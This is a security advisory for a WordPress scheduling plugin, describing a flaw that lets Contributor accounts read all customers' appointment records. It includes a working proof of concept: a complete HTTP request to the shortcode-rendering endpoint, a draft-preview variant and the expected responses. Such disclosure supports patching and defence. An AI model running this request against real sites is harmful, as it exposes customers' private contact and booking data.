Simply Schedule Appointments < 1.6.12.11 – Contributor+ Sensitive Data Disclosure via Admin Shortcode | CVE 2026-15254

Description

The plugin does not perform a capability check on an administrative appointment-listing shortcode, and its per-user result scoping fails open for non-staff users, allowing users with the Contributor role and above to disclose all customers' appointment records, including names, email addresses, phone numbers and notes, across the whole site.

Proof of Concept

Prerequisites: Simply Schedule Appointments active with default settings; at least one booked appointment exists; a default Contributor account (the lowest role that holds edit_posts).

1. Log in as the Contributor and obtain the wp_rest nonce (wpApiSettings.nonce) from any wp-admin page the Contributor can load, e.g. post-new.php. A WordPress Application Password for the same account works identically.

2. Have the server run the administrative appointment-listing shortcode, which discloses every customer's appointment data:

POST /wp-json/ssa/v1/render-shortcode HTTP/1.1
Host: victim.example
X-WP-Nonce: <contributor wp_rest nonce>
Cookie: <contributor login cookies>
Content-Type: application/json

{"shortcode":"[ssa_admin_upcoming_appointments]"}

Response (HTTP 200): {"html":"...<h4> Jane VictimPII </h4>...<h4> Bob SecondVictim </h4>..."} containing every customer's name, appointment date/time, and /wp-admin appointment deep-links, none of which the Contributor role can otherwise access.

Equivalent delivery via the Contributor's own draft (no plugin endpoint needed): create a draft post whose content is [ssa_admin_upcoming_appointments], then load /?p=<id>&preview=true. WordPress core runs the shortcode as the Contributor and the same data is disclosed.

Negative controls: unauthenticated request -> 401 rest_forbidden; Subscriber -> 403 rest_forbidden; Contributor to the plugin's own /wp-json/ssa/v1/appointments/1 -> 403 (the data is genuinely admin-scoped, so the shortcode path is the bypass).